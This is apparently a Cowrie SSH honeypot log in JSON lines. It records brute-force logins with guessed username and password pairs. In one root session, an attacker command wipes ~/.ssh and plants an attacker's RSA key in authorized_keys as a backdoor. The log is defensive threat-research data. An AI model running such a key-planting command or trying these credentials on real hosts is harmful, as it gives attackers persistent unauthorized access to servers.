{"eventid":"cowrie.login.failed","username":"remote","password":"remote123!","message":"login attempt [remote/remote123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:17.678834Z","src_ip":"101.36.123.173","session":"af21e8157694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:18.896496Z","src_ip":"101.36.123.173","session":"af21e8157694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":34104,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f70adc1c247","protocol":"ssh","message":"New connection: 207.180.205.155:34104 (10.17.0.5:22) [session: 7f70adc1c247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:39.530369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:39.536237Z","src_ip":"207.180.205.155","session":"7f70adc1c247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:39.629538Z","src_ip":"207.180.205.155","session":"7f70adc1c247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:40.038459Z","src_ip":"207.180.205.155","session":"7f70adc1c247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:41.141787Z","src_ip":"207.180.205.155","session":"7f70adc1c247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":44626,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1bbd690debc","protocol":"ssh","message":"New connection: 165.154.6.86:44626 (10.17.0.5:22) [session: b1bbd690debc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:12.993775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:12.997734Z","src_ip":"165.154.6.86","session":"b1bbd690debc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:13.217726Z","src_ip":"165.154.6.86","session":"b1bbd690debc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"Uftp123","message":"login attempt [uftp/Uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:14.130560Z","src_ip":"165.154.6.86","session":"b1bbd690debc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:15.352947Z","src_ip":"165.154.6.86","session":"b1bbd690debc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":44450,"dst_ip":"10.17.0.5","dst_port":22,"session":"479dac604b05","protocol":"ssh","message":"New connection: 210.79.191.18:44450 (10.17.0.5:22) [session: 479dac604b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:27.070570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:27.075122Z","src_ip":"210.79.191.18","session":"479dac604b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:27.321244Z","src_ip":"210.79.191.18","session":"479dac604b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"Zabbix@123","message":"login attempt [zabbix/Zabbix@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:28.379863Z","src_ip":"210.79.191.18","session":"479dac604b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:29.628060Z","src_ip":"210.79.191.18","session":"479dac604b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":51650,"dst_ip":"159.203.135.109","dst_port":22,"session":"48549339c014","protocol":"ssh","message":"New connection: 5.75.240.121:51650 (159.203.135.109:22) [session: 48549339c014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:31.618234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:31.622587Z","src_ip":"5.75.240.121","session":"48549339c014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:31.713782Z","src_ip":"5.75.240.121","session":"48549339c014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sailer","password":"sailer","message":"login attempt [sailer/sailer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:31.898598Z","src_ip":"5.75.240.121","session":"48549339c014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:32.991720Z","src_ip":"5.75.240.121","session":"48549339c014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":30994,"dst_ip":"10.17.0.5","dst_port":22,"session":"14223853f7bf","protocol":"ssh","message":"New connection: 64.188.83.153:30994 (10.17.0.5:22) [session: 14223853f7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:47.934826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:47.940129Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.025536Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p4ssw0rd","message":"login attempt [root/p4ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.398825Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.610099Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.613196Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.616570Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.704450Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.915093Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:48.918409Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:49.008917Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:49.012734Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":31000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3ad5ff2cd3","protocol":"ssh","message":"New connection: 64.188.83.153:31000 (10.17.0.5:22) [session: ed3ad5ff2cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:49.093123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:49.097381Z","src_ip":"64.188.83.153","session":"ed3ad5ff2cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:49.182746Z","src_ip":"64.188.83.153","session":"ed3ad5ff2cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:49.556821Z","src_ip":"64.188.83.153","session":"ed3ad5ff2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:50.645990Z","src_ip":"64.188.83.153","session":"ed3ad5ff2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":31012,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fb331b4f987","protocol":"ssh","message":"New connection: 64.188.83.153:31012 (10.17.0.5:22) [session: 2fb331b4f987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:50.745367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:50.750239Z","src_ip":"64.188.83.153","session":"2fb331b4f987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:50.834825Z","src_ip":"64.188.83.153","session":"2fb331b4f987","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:51.217769Z","src_ip":"64.188.83.153","session":"2fb331b4f987","protocol":"ssh"}
